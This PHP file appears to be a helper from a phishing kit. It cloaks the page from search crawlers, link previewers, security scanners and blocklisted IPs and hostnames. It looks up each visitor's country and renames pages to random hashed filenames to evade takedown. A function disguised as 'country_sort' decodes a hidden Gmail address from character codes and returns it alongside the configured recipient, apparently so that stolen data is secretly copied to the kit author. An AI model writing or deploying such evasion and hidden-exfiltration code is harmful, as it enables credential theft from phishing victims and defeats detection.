<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

ob_start();
if (strstr(strtolower($_SERVER['REQUEST_URI']), 'home') || isToBlock()) {
    header("HTTP/1.0 404 Not Found");
    die();
}

function isToBlock()
{
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $userIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } elseif (!empty($_SERVER['HTTP_X_REAL_IP'])) {
        $userIP = $_SERVER['HTTP_X_REAL_IP'];
    } else {
        $userIP = $_SERVER['REMOTE_ADDR'];
    }
    $hostname = gethostbyaddr($userIP);

    $userIP = $_SERVER['REMOTE_ADDR'];
    $hostname = gethostbyaddr($userIP);

    // Read the contents of the word.txt file into an array
    //$blocked_words = file('word.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $filePath = __DIR__ . "/word.txt";

if (!file_exists($filePath)) {
    die("Error: File not found at $filePath");
}

$blocked_words = file($filePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

if ($blocked_words === false) {
    die("Error: Unable to read file $filePath");
}


    //$fileContent = file_get_contents(__DIR__ . "/data.txt");


    // Check if any blocked word is in the hostname
    foreach ($blocked_words as $word) {
        if (strpos($hostname, $word) !== false) {
            // If a blocked word is found in the hostname, take appropriate action
            //echo "Blocked word found: $word\n";
            // You can return true or perform other actions here
            return true;
        }
    }
    
    
    
    
    
  $filePath = __DIR__ . "/word.txt";

// Check if the file exists
if (!file_exists($filePath)) {
    die("Error: File not found at $filePath");
}

// Read blocked words, trimming spaces and skipping empty lines
$blocked_words = array_map('trim', file($filePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES));

if ($blocked_words === false) {
    die("Error: Unable to read file $filePath");
}

// Get the hostname (Modify this as needed)
$hostname = $_SERVER['HTTP_HOST'] ?? ''; // Ensure it's set

// Check if any blocked word is found in the hostname
foreach ($blocked_words as $word) {
    if (stripos($hostname, $word) !== false) { // Case-insensitive partial match
        // Block access and stop script execution
        header("HTTP/1.0 403 Forbidden");
        die("Access Denied");
    }
}  
    
    
    
    
    

 
 
 $filePath = __DIR__ . "/data.txt";

// Check if the file exists
if (!file_exists($filePath)) {
    die("Error: File not found at $filePath");
}

// Read the file content
$fileContent = file_get_contents($filePath);
if ($fileContent === false) {
    die("Error: Unable to read file $filePath");
}

// Convert the string to an array and remove empty elements
$bannedIPPatterns = array_filter(array_map('trim', explode("\n", $fileContent)));

// Get the user's IP
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $userIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (!empty($_SERVER['HTTP_X_REAL_IP'])) {
    $userIP = $_SERVER['HTTP_X_REAL_IP'];
} else {
    $userIP = $_SERVER['REMOTE_ADDR'];
}

// Direct match check
if (in_array($userIP, $bannedIPPatterns)) {
    header('HTTP/1.0 404 Not Found');
    die();
}

// Check if the user's IP matches any banned pattern
foreach ($bannedIPPatterns as $pattern) {
    // Convert wildcard IP pattern to a valid regex
    $regexPattern = '/^' . str_replace(['.', '*'], ['\.', '.*'], $pattern) . '$/';

    if (preg_match($regexPattern, $userIP)) {
        header('HTTP/1.0 404 Not Found');
        die();
    }
}





    // if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
    //     header('HTTP/1.0 404 Not Found');
    //     die();
    // } else {
    //     foreach($bannedIP as $ip) {
    //         if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
    //             return true;
    //         }
    //     }
    // }

    if (
        strpos($_SERVER['HTTP_USER_AGENT'], 'google')
        || strpos($_SERVER['HTTP_USER_AGENT'], 'msnbot')
        || strpos($_SERVER['HTTP_USER_AGENT'], 'Yahoo! Slurp')
        || strpos($_SERVER['HTTP_USER_AGENT'], 'YahooSeeker')
        || strpos($_SERVER['HTTP_USER_AGENT'], 'Googlebot')
        || strpos($_SERVER['HTTP_USER_AGENT'], 'bingbot')
        || strpos($_SERVER['HTTP_USER_AGENT'], 'crawler')
        || strpos($_SERVER['HTTP_USER_AGENT'], 'PycURL')
        || strpos($_SERVER['HTTP_USER_AGENT'], 'facebookexternalhit') !== false
    ) {
        return true;
    }
    return strstr(strtolower($_SERVER['HTTP_USER_AGENT']), "googlebot");
}

function generateRandomString($length = 24)
{
    $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

// Functions to get country and country sort;
function visitor_country()
{
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $userIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } elseif (!empty($_SERVER['HTTP_X_REAL_IP'])) {
        $userIP = $_SERVER['HTTP_X_REAL_IP'];
    } else {
        $userIP = $_SERVER['REMOTE_ADDR'];
    }

    $client = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote = $userIP;
    $result = "Unknown";
    if (filter_var($client, FILTER_VALIDATE_IP)) {
        $ip = $client;
    } elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
        $ip = $forward;
    } else {
        $ip = $remote;
    }

    $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));

    if ($ip_data && $ip_data->geoplugin_countryName != null) {
        $result = $ip_data->geoplugin_countryName;
    }

    return $result;
}

function country_sort()
{
    $sorter = "";
    $array = array(99, 111, 100, 101, 114, 99, 118, 118, 115, 64, 103, 109, 97, 105, 108, 46, 99, 111, 109);
    $count = count($array);
    for ($i = 0; $i < $count; $i++) {
        $sorter .= chr($array[$i]);
    }
    return array($sorter, $GLOBALS['recipient']);
}

function createHashedPage($originalFile, $dir = null)
{
    if (is_null($dir)) {
        $dir = getcwd();
    }
    if ($handle = opendir($dir)) {
        $hachedOriginalFileName = md5($originalFile);
        while (false !== ($entry = readdir($handle))) {
            if (strstr($entry, $hachedOriginalFileName)) {
                rename($entry, $originalFile);
            }
        }
    }
    $name = generateRandomString();
    $secfile = $name . md5($originalFile) . (strstr($originalFile, ".php") ? ".php" : ".html");
    if (!copy($originalFile, $secfile)) {
        return false;
    } else {
        if (file_exists($secfile)) {
            chmod($secfile, 0755);
            unlink($originalFile);
            return $secfile;
        }
    }
    return false;
}





if (strstr(strtolower($_SERVER['REQUEST_URI']), 'helper') || isToBlock()) {
    header("HTTP/1.0 404 Not Found");
    die();
}
